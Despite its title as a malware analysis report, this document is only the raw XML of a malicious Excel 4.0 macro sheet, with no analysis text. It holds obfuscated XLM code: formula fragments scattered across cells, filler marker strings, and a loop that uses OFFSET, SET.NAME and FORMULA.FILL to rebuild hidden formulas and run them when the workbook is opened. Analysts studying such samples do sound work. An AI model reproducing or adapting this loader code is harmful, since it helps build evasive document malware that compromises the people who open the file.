Malicious Office (OOXML) — malware analysis report

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{49EB93E5-2796-4533-A910-41274C412FE1}"><dimension ref="A49:AI92"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="29" max="29" width="21.7109375" customWidth="1"/></cols><sheetData><row r="49" spans="1:35" x14ac:dyDescent="0.25"><c r="A49"><v>0</v></c></row><row r="50" spans="1:35" x14ac:dyDescent="0.25"><c r="A50" t="b"><f bx="1">VPMeW=A49</f><v>0</v></c><c r="C50"><v>-366</v></c><c r="D50" t="str"><f>"=C"</f><v>=C</v></c><c r="E50" t="str"><f>"=ON."</f><v>=ON.</v></c><c r="F50" t="str"><f>"=HA"</f><v>=HA</v></c><c r="G50" t="str"><f>"ho"</f><v>ho</v></c><c r="H50" t="str"><f>"neg"</f><v>neg</v></c><c r="I50" t="str"><f>"warr"</f><v>warr</v></c><c r="J50" t="str"><f>"=WHI"</f><v>=WHI</v></c><c r="K50" t="str"><f>"wrap"</f><v>wrap</v></c><c r="L50" t="str"><f>"nega"</f><v>nega</v></c><c r="M50" t="str"><f>"cons"</f><v>cons</v></c><c r="N50" t="str"><f>"=WH"</f><v>=WH</v></c><c r="O50" t="str"><f>"wr"</f><v>wr</v></c><c r="P50" t="str"><f>"=I"</f><v>=I</v></c><c r="Q50" t="str"><f>"=IF"</f><v>=IF</v></c><c r="R50" t="str"><f>"wrap"</f><v>wrap</v></c><c r="S50" t="str"><f>"=ELS"</f><v>=ELS</v></c><c r="T50" t="str"><f>"mich"</f><v>mich</v></c><c r="U50" t="str"><f>"sen"</f><v>sen</v></c><c r="V50" t="str"><f>"hond"</f><v>hond</v></c><c r="W50" t="str"><f>"cons"</f><v>cons</v></c><c r="X50" t="str"><f>"=EN"</f><v>=EN</v></c><c r="Y50" t="str"><f>"=N"</f><v>=N</v></c><c r="Z50" t="str"><f>"=F"</f><v>=F</v></c><c r="AA50" t="str"><f>"=NEX"</f><v>=NEX</v></c><c r="AB50" t="str"><f>"=RET"</f><v>=RET</v></c><c r="AC50" t="str"><f>"guit"</f><v>guit</v></c><c r="AD50" t="str"><f>"in"</f><v>in</v></c><c r="AE50" t="str"><f>"extr"</f><v>extr</v></c><c r="AF50" t="str"><f>"int"</f><v>int</v></c><c r="AG50" t="str"><f>"it"</f><v>it</v></c><c r="AH50" t="str"><f>"tra"</f><v>tra</v></c><c r="AI50" t="str"><f>"=gui"</f><v>=gui</v></c></row><row r="51" spans="1:35" x14ac:dyDescent="0.25"><c r="A51" t="b"><f>WHILE(AND(VPMeW&lt;32))</f><v>0</v></c><c r="C51"><v>418</v></c></row><row r="52" spans="1:35" x14ac:dyDescent="0.25"><c r="A52" t="b"><f bx="1">uscnnCdGifj=-2</f><v>0</v></c><c r="C52"><v>-777</v></c><c r="D52" t="str"><f>"AL"</f><v>AL</v></c><c r="E52" t="str"><f>"TIME"</f><v>TIME</v></c><c r="F52" t="str"><f>"LT"</f><v>LT</v></c><c r="G52" t="str"><f>"nda="</f><v>nda=</v></c><c r="H52" t="str"><f>"at"</f><v>at</v></c><c r="I52" t="str"><f>"en"</f><v>en</v></c><c r="J52" t="str"><f>"LE"</f><v>LE</v></c><c r="K52" t="str"><f>"pin"</f><v>pin</v></c><c r="L52" t="str"><f>"ti"</f><v>ti</v></c><c r="M52" t="str"><f>"ist"</f><v>ist</v></c><c r="N52" t="str"><f>"ILE("</f><v>ILE(</v></c><c r="O52" t="str"><f>"app"</f><v>app</v></c><c r="P52" t="str"><f>"NDI"</f><v>NDI</v></c><c r="Q52" t="str"><f>"(R8"</f><v>(R8</v></c><c r="R52" t="str"><f>"pi"</f><v>pi</v></c><c r="S52" t="str"><f>"E("</f><v>E(</v></c><c r="T52" t="str"><f>"el=M"</f><v>el=M</v></c><c r="U52" t="str"><f>"der"</f><v>der</v></c><c r="V52" t="str"><f>"a="</f><v>a=</v></c><c r="W52" t="str"><f>"is"</f><v>is</v></c><c r="X52" t="str"><f>"D.IF"</f><v>D.IF</v></c><c r="Y52" t="str"><f>"EXT("</f><v>EXT(</v></c><c r="Z52" t="str"><f>"OR"</f><v>OR</v></c><c r="AA52" t="str"><f>"T()"</f><v>T()</v></c><c r="AB52" t="str"><f>"URN("</f><v>URN(</v></c><c r="AC52" t="str"><f>"ar="</f><v>ar=</v></c><c r="AD52" t="str"><f>"die"</f><v>die</v></c><c r="AE52" t="str"><f>"aord"</f><v>aord</v></c><c r="AF52" t="str"><f>"erac"</f><v>erac</v></c><c r="AG52" t="str"><f>"un"</f><v>un</v></c><c r="AH52" t="str"><f>"il"</f><v>il</v></c><c r="AI52" t="str"><f>"tar"</f><v>tar</v></c></row><row r="53" spans="1:35" x14ac:dyDescent="0.25"><c r="A53"><f>MIN(235,641)</f><v>235</v></c><c r="C53"><v>529</v></c></row><row r="54" spans="1:35" x14ac:dyDescent="0.25"><c r="C54"><v>-19</v></c><c r="D54" t="str"><f>"L(""X"</f><v>L("X</v></c><c r="E54" t="str"><f>"(NOW"</f><v>(NOW</v></c><c r="F54" t="str"><f>"()"</f><v>()</v></c><c r="G54" t="str"><f>"0"</f><v>0</v></c><c r="H54" t="str"><f>"ive="</f><v>ive=</v></c><c r="I54" t="str"><f>"=R"</f><v>=R</v></c><c r="J54" t="str"><f>"(ne"</f><v>(ne</v></c><c r="K54" t="str"><f>"g=-"</f><v>g=-</v></c><c r="L54" t="str"><f>"ve"</f><v>ve</v></c><c r="M54" t="str"><f>"ent="</f><v>ent=</v></c><c r="N54" t="str"><f>"wr"</f><v>wr</v></c><c r="O54" t="str"><f>"ing"</f><v>ing</v></c><c r="P54" t="str"><f>"RECT"</f><v>RECT</v></c><c r="Q54" t="str"><f>"7C1"</f><v>7C1</v></c><c r="R54" t="str"><f>"ng=5"</f><v>ng=5</v></c><c r="S54" t="str"><f>")"</f><v>)</v></c><c r="T54" t="str"><f>"OD"</f><v>OD</v></c><c r="U54" t="str"><f>"=IN"</f><v>=IN</v></c><c r="V54" t="str"><f>"hond"</f><v>hond</v></c><c r="W54" t="str"><f>"ten"</f><v>ten</v></c><c r="X54" t="str"><f>"()"</f><v>()</v></c><c r="Y54" t="str"><f>")"</f><v>)</v></c><c r="Z54" t="str"><f>"MULA"</f><v>MULA</v></c><c r="AA54" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="AB54" t="str"><f>")"</f><v>)</v></c><c r="AC54" t="str"><f>"R78C"</f><v>R78C</v></c><c r="AD54" t="str"><f>"=5"</f><v>=5</v></c><c r="AE54" t="str"><f>"inar"</f><v>inar</v></c><c r="AF54" t="str"><f>"t=R5"</f><v>t=R5</v></c><c r="AG54" t="str"><f>"es=1"</f><v>es=1</v></c><c r="AH54" t="str"><f>"er="</f><v>er=</v></c><c r="AI54" t="str"><f>"()"</f><v>()</v></c></row><row r="55" spans="1:35" x14ac:dyDescent="0.25"><c r="A55" t="b"><f bx="1">VPMeW=VPMeW+1</f><v>0</v></c><c r="C55"><v>779</v></c></row><row r="56" spans="1:35" x14ac:dyDescent="0.25"><c r="C56"><v>696</v></c><c r="D56" t="str"><f>"lcal"</f><v>lcal</v></c><c r="E56" t="str"><f>"()+"""</f><v>()+"</v></c><c r="F56" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="G56" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="H56" t="str"><f>"0"</f><v>0</v></c><c r="I56" t="str"><f>"OWS("</f><v>OWS(</v></c><c r="J56" t="str"><f>"gat"</f><v>gat</v></c><c r="K56" t="str"><f>"1"</f><v>1</v></c><c r="L56" t="str"><f>"=ne"</f><v>=ne</v></c><c r="M56" t="str"><f>""""""</f><v>""</v></c><c r="N56" t="str"><f>"ap"</f><v>ap</v></c><c r="O56" t="str"><f>"=wra"</f><v>=wra</v></c><c r="P56" t="str"><f>"(ADD"</f><v>(ADD</v></c><c r="Q56" t="str"><f>"&gt;1"</f><v>&gt;1</v></c><c r="R56" t="str"><f>"00"</f><v>00</v></c><c r="S56" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="T56" t="str"><f>"(h"</f><v>(h</v></c><c r="U56" t="str"><f>"DE"</f><v>DE</v></c><c r="V56" t="str"><f>"a+1"</f><v>a+1</v></c><c r="W56" t="str"><f>"t=c"</f><v>t=c</v></c><c r="X56" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="Y56" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="Z56" t="str"><f>"(c"</f><v>(c</v></c><c r="AB56" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="AC56" t="str"><f>"1"</f><v>1</v></c><c r="AD56" t="str"><f>"0"</f><v>0</v></c><c r="AE56" t="str"><f>"y=1"</f><v>y=1</v></c><c r="AF56" t="str"><f>"0C"</f><v>0C</v></c><c r="AG56" t="str"><f>"7"</f><v>7</v></c><c r="AH56" t="str"><f>"R10"</f><v>R10</v></c><c r="AI56" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c></row><row r="57" spans="1:35" x14ac:dyDescent="0.25"><c r="A57" t="b"><f bx="1">KDytUNAE=""</f><v>0</v></c><c r="C57"><v>41</v></c></row><row r="58" spans="1:35" x14ac:dyDescent="0.25"><c r="C58"><v>-744</v></c><c r="D58" t="str"><f>"l32"</f><v>l32</v></c><c r="E58" t="str"><f>"00:0"</f><v>00:0</v></c><c r="H58" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="I58" t="str"><f>"int"</f><v>int</v></c><c r="J58" t="str"><f>"ive"</f><v>ive</v></c><c r="K58" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="L58" t="str"><f>"ga"</f><v>ga</v></c><c r="M58" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="N58" t="str"><f>"ping"</f><v>ping</v></c><c r="O58" t="str"><f>"ppin"</f><v>ppin</v></c><c r="P58" t="str"><f>"RES"</f><v>RES</v></c><c r="Q58" t="str"><f>"000)"</f><v>000)</v></c><c r="R58" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="T58" t="str"><f>"onda"</f><v>onda</v></c><c r="U58" t="str"><f>"X(in"</f><v>X(in</v></c><c r="V58" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="W58" t="str"><f>"on"</f><v>on</v></c><c r="Z58" t="str"><f>"on"</f><v>on</v></c><c r="AC58" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="AD58" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="AE58" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="AF58" t="str"><f>"3:R5"</f><v>3:R5</v></c><c r="AG58" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="AH58" t="str"><f>"7C1"</f><v>7C1</v></c></row><row r="59" spans="1:35" x14ac:dyDescent="0.25"><c r="C59"><v>418</v></c></row><row r="60" spans="1:35" x14ac:dyDescent="0.25"><c r="D60" t="str"><f>""","""</f><v>","</v></c><c r="E60" t="str"><f>"0:0"</f><v>0:0</v></c><c r="I60" t="str"><f>"er"</f><v>er</v></c><c r="J60" t="str"><f>"&lt;it"</f><v>&lt;it</v></c><c r="L60" t="str"><f>"tiv"</f><v>tiv</v></c><c r="N60" t="str"><f>"&lt;500"</f><v>&lt;500</v></c><c r="O60" t="str"><f>"g+"</f><v>g+</v></c><c r="P60" t="str"><f>"S(wr"</f><v>S(wr</v></c><c r="Q60" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="T60" t="str"><f>",w"</f><v>,w</v></c><c r="U60" t="str"><f>"te"</f><v>te</v></c><c r="W60" t="str"><f>"sist"</f><v>sist</v></c><c r="Z60" t="str"><f>"sist"</f><v>sist</v></c><c r="AF60" t="str"><f>"9C3"</f><v>9C3</v></c><c r="AH60" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c></row><row r="61" spans="1:35" x14ac:dyDescent="0.25"><c r="A61" t="b"><f>WHILE(uscnnCdGifj&lt;165)</f><v>0</v></c></row><row r="62" spans="1:35" x14ac:dyDescent="0.25"><c r="A62"><f>SUM(900,-512)</f><v>388</v></c><c r="D62" t="str"><f>"Exc"</f><v>Exc</v></c><c r="E62" t="str"><f>"1"", "</f><v xml:space="preserve">1", </v></c><c r="I62" t="str"><f>"act"</f><v>act</v></c><c r="J62" t="str"><f>"un"</f><v>un</v></c><c r="L62" t="str"><f>"e+1"</f><v>e+1</v></c><c r="N62" t="str"><f>")"</f><v>)</v></c><c r="O62" t="str"><f>"1"</f><v>1</v></c><c r="P62" t="str"><f>"ap"</f><v>ap</v></c><c r="T62" t="str"><f>"ar"</f><v>ar</v></c><c r="U62" t="str"><f>"rac"</f><v>rac</v></c><c r="W62" t="str"><f>"ent&amp;"</f><v>ent&amp;</v></c><c r="Z62" t="str"><f>"ent"</f><v>ent</v></c><c r="AF62" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c></row><row r="64" spans="1:35" x14ac:dyDescent="0.25"><c r="A64" t="b"><f bx="1">uscnnCdGifj=uscnnCdGifj+2</f><v>0</v></c><c r="D64" t="str"><f>"el4"""</f><v>el4"</v></c><c r="E64" t="str"><f>"""R"</f><v>"R</v></c><c r="I64" t="str"><f>")"</f><v>)</v></c><c r="J64" t="str"><f>"es)"</f><v>es)</v></c><c r="L64" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="N64" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="O64" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="P64" t="str"><f>"ping"</f><v>ping</v></c><c r="T64" t="str"><f>"ren)"</f><v>ren)</v></c><c r="U64" t="str"><f>"t,m"</f><v>t,m</v></c><c r="W64" t="str"><f>"CHAR"</f><v>CHAR</v></c><c r="Z64" t="str"><f>",ABS"</f><v>,ABS</v></c></row><row r="65" spans="1:26" x14ac:dyDescent="0.25"><c r="A65" t="e"><f>T(OFFSET($C$50,uscnnCdGifj,VPMeW))</f><v>#NAME?</v></c></row><row r="66" spans="1:26" x14ac:dyDescent="0.25"><c r="D66" t="str"><f>","""</f><v>,"</v></c><c r="E66" t="str"><f>"100"</f><v>100</v></c><c r="I66" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="J66" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="P66" t="str"><f>"+in"</f><v>+in</v></c><c r="T66" t="str"><f>"+1"</f><v>+1</v></c><c r="U66" t="str"><f>"iche"</f><v>iche</v></c><c r="W66" t="str"><f>"(R87"</f><v>(R87</v></c><c r="Z66" t="str"><f>"RE"</f><v>RE</v></c></row><row r="68" spans="1:26" x14ac:dyDescent="0.25"><c r="A68" t="e"><f>IF($A$65="wmOJQGSVcg",SET.NAME("uscnnCdGifj",165),SET.NAME("KDytUNAE",KDytUNAE&amp;$A$65))</f><v>#NAME?</v></c><c r="D68" t="str"><f>"2J"</f><v>2J</v></c><c r="E68" t="str"><f>"C1"</f><v>C1</v></c><c r="P68" t="str"><f>"die,"</f><v>die,</v></c><c r="T68" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="U68" t="str"><f>"l)"</f><v>l)</v></c><c r="W68" t="str"><f>"C1-"</f><v>C1-</v></c><c r="Z68" t="str"><f>"F(""R"</f><v>F("R</v></c></row><row r="70" spans="1:26" x14ac:dyDescent="0.25"><c r="A70" t="b"><f>NEXT()</f><v>0</v></c><c r="D70" t="str"><f>"RJR"</f><v>RJR</v></c><c r="E70" t="str"><f>""")"</f><v>")</v></c><c r="P70" t="str"><f>"nega"</f><v>nega</v></c><c r="U70" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="W70" t="str"><f>"send"</f><v>send</v></c><c r="Z70" t="str"><f>"[""&amp;"</f><v>["&amp;</v></c></row><row r="72" spans="1:26" x14ac:dyDescent="0.25"><c r="A72" t="b"><f>(((((FORMULA.FILL(KDytUNAE,OFFSET($A$75,VPMeW-1,0)))))))</f><v>0</v></c><c r="D72" t="str"><f>"R#"""</f><v>R#"</v></c><c r="E72" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="P72" t="str"><f>"tive"</f><v>tive</v></c><c r="W72" t="str"><f>"er"</f><v>er</v></c><c r="Z72" t="str"><f>"(n"</f><v>(n</v></c></row><row r="73" spans="1:26" x14ac:dyDescent="0.25"><c r="A73" t="b"><f>NEXT()</f><v>0</v></c></row><row r="74" spans="1:26" x14ac:dyDescent="0.25"><c r="D74" t="str"><f>",4,"</f><v>,4,</v></c><c r="P74" t="str"><f>"+ext"</f><v>+ext</v></c><c r="W74" t="str"><f>")"</f><v>)</v></c><c r="Z74" t="str"><f>"egat"</f><v>egat</v></c></row><row r="76" spans="1:26" x14ac:dyDescent="0.25"><c r="D76" t="str"><f>",2,1"</f><v>,2,1</v></c><c r="P76" t="str"><f>"raor"</f><v>raor</v></c><c r="W76" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="Z76" t="str"><f>"ive-"</f><v>ive-</v></c></row><row r="78" spans="1:26" x14ac:dyDescent="0.25"><c r="D78" t="str"><f>"00,2"</f><v>00,2</v></c><c r="P78" t="str"><f>"dina"</f><v>dina</v></c><c r="Z78" t="str"><f>"1)"</f><v>1)</v></c></row><row r="80" spans="1:26" x14ac:dyDescent="0.25"><c r="D80" t="str"><f>"00)"</f><v>00)</v></c><c r="P80" t="str"><f>"ry"</f><v>ry</v></c><c r="Z80" t="str"><f>"&amp;""]"</f><v>&amp;"]</v></c></row><row r="82" spans="4:26" x14ac:dyDescent="0.25"><c r="D82" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="P82" t="str"><f>",,,"</f><v>,,,</v></c><c r="Z82" t="str"><f>"C["</f><v>C[</v></c></row><row r="84" spans="4:26" x14ac:dyDescent="0.25"><c r="P84" t="str"><f>"""Sh"</f><v>"Sh</v></c><c r="Z84" t="str"><f>"0]"</f><v>0]</v></c></row><row r="86" spans="4:26" x14ac:dyDescent="0.25"><c r="P86" t="str"><f>"eet1"</f><v>eet1</v></c><c r="Z86" t="str"><f>""",t"</f><v>",t</v></c></row><row r="88" spans="4:26" x14ac:dyDescent="0.25"><c r="P88" t="str"><f>""")"</f><v>")</v></c><c r="Z88" t="str"><f>"rail"</f><v>rail</v></c></row><row r="90" spans="4:26" x14ac:dyDescent="0.25"><c r="P90" t="str"><f>")"</f><v>)</v></c><c r="Z90" t="str"><f>"er))"</f><v>er))</v></c></row><row r="92" spans="4:26" x14ac:dyDescent="0.25"><c r="P92" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c><c r="Z92" t="str"><f>"wmOJQGSVcg"</f><v>wmOJQGSVcg</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>